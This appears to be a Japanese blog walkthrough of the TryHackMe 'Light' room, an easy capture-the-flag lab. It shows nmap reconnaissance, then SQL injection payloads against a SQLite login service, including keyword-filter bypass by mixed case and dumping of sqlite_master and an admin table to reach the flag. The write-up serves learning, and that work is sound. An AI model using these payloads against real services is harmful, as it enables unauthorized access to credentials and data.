[THM] Walkthrough - Light (日本語)

## 概要

TryHackMe の 「Light」という Room の Walkthrough 記事です。
取っつきやすく SQL Injection の説明にも使えそうな問題になってたのでメモとして残します。
使用している環境は TryHackMe 上の AttackBox でやっています。

https://tryhackme.com/r/room/lightroom

## Task

```
I am working on a database application called Light! Would you like to try it out?
If so, the application is running on port 1337. You can connect to it using `nc 10.10.110.166 1337` .
You can use the username `smokey` in order to get started.

(意訳）
Lightというデータベースアプリケーションを作ってます。お試しいかが？
アプリケーションはポート1337で動いていて、`nc 10.10.110.166 1337` で接続できます。
開始するにはユーザー名 `smokey` が使えます。
```

1. What is the admin username?
1. What is the password to the username mentioned in question 1?
1. What is the flag?

## 手順

まずは偵察してみる。port 1337 で接続できるのはヒントから分かってるが、他に ssh や http などがないか調べます。

```bash
root@ip-10-10-85-138:~# nmap -sV -Pn 10.10.110.166
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-26 02:20 GMT
Nmap scan report for 10.10.110.166
Host is up (0.00049s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
MAC Address: 02:61:90:96:DD:47 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

port 22 で ssh が開いてるようだが他は特になし。
ssh は認証情報を手に入れたら戻ってくることにして、次に冒頭でもらっている情報を使い nc してみる。
すると、Light というデータベースに接続したようで、username の入力を促される。
冒頭で言われた通り `smokey` を入力するとパスワードが返ってきた。

```bash
root@ip-10-10-85-138:~# nc 10.10.110.166 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL
```

認証情報のようなものが手に入ったが、もう少し調査を続ける。
`username` の入力に対して `password` を返しているようなので、恐らくこんな感じの SQL が実行されていそうで、Injection ができるかもしれない。

```sql
SELECT password FROM <TABLE> WHERE username = '<INPUT>';
```

というわけで、入力を `' OR '1'='1' --` にすると以下のような SQL Injection が実行できそう。

```sql
SELECT password FROM <TABLE> WHERE username = '' OR '1'='1' --';
```

試してみると、何やら入力値に対してバリデーションがかかっており、`--` の部分で弾かれてしまった模様。

```
Please enter your username: ' OR '1'='1' --
For strange reasons I can't explain, any input containing /*, -- or, %0b is not allowed :)
Please enter your username: 
```

では次に入力を `' OR '1'='1` に切り替えて、次のような SQL を想定する。

```sql
SELECT password FROM <TABLE> WHERE username = '' OR '1'='1';
```

これを試すとパスワード名が返ってきたので、Injection には成功した模様。

```
Please enter your username: ' OR '1' = '1
Password: tF8tj2o94WE4LKC
```

ここから Admin のユーザ名やそのパスワードを調べていきたいのだが、まずテーブル名はおろか、DB がそもそも何なのかわかっていない。なのでそこから調査をしていく。

...とか言いつつ、 Light の名前が付いてる時点で恐らく SQLite だろうという期待を持って、そこから調べてみる。SQLite の場合、DB 情報は `sqlite_version()` で調べられる(by Google検索）ので、select で持ってこれるように UNION を使って調べる。

すると、またしてもバリデーションがかかっている模様。

```
Please enter your username: ' UNION SELECT sqlite_version() '
Ahh there is a word in there I don't like :(
```

調べてみると、`SELECT` や `UNION` のような全部大文字の SQL コマンドは受け付けないようになっている模様。しかし、`Select` のように一部小文字にするだけでこれは回避できるみたい。

```
Please enter your username: SELECT 
Ahh there is a word in there I don't like :(
Please enter your username: Select
Username not found.
```

なので、ちょっとだけ変更して改めて実行する。すると、SQLite の 3.31.1 が動いていることが判明。

```
Please enter your username: ' Union Select sqlite_version() '
Password: 3.31.1
```

続いて、SQLite のテーブル名を調べる。SQLite のテーブル名は `sqlite_master` で調べられる（by Google検索）ので、それで実行。すると、`admintable` というテーブル名と判明。

```
Please enter your username: ' Union Select name from sqlite_master '
Password: admintable
```

この `admintable` に対して同様に検索する。すると、 `TryHackMeAdmin` というユーザ名を取得できたので、これが1つ目の答え。

```
Please enter your username: ' Union Select username from admintable '
Password: TryHackMeAdmin
```

このユーザ名のパスワードは where 指定して select すれば十分そう。すると、このユーザ名のパスワードも取得できたので、これが2つ目の答え。

```
Please enter your username: ' Union Select password from admintable where username = 'TryHackMeAdmin
Password: mamZtAuMlrsEy5bp6q17
```

他に3つ目の問題の flag に繋がる情報がないか調べるため検索してみる。すると、`flag` というユーザを発見したので、このユーザについても同様に調べる。すると、flag が手に入ってしまい、3つ目の答えが手に入った。

```
Please enter your username: ' Union Select username from admintable where username != 'TryHackMeAdmin
Password: flag
Please enter your username: ' Union Select password from admintable where username = 'flag
Password: THM{SQLit3_InJ3cTion_is_SimplE_nO?}
```

... あれ、おしまい？（ ssh はなんだったの）

## その後

ssh などにログインできないか調べてみたけど、ここで得た情報を使用してログインできるなどは特になさそう。
easy のレベルなのでこれ以上の作りこみはないのかもしれないけど、ここからサーバに侵入して権限昇格して root 取りに行く... とかの展開を期待していた。

## 感想

「SQL Injection って知ってるけど実行したことない」という人には１つ勉強のタネになりそうなかなという Room で、IT初学者には良いのかもしれません（初学者が TryHackMe 開くのかというツッコミはありそう）。
無料で遊べる Room なので、「SQLインジェクション」を調べたときにたまたまこの記事を見つけた方が、ひとつ手を動かすきっかけになれば幸いです。

以上で本記事を終わります。ありがとうございました。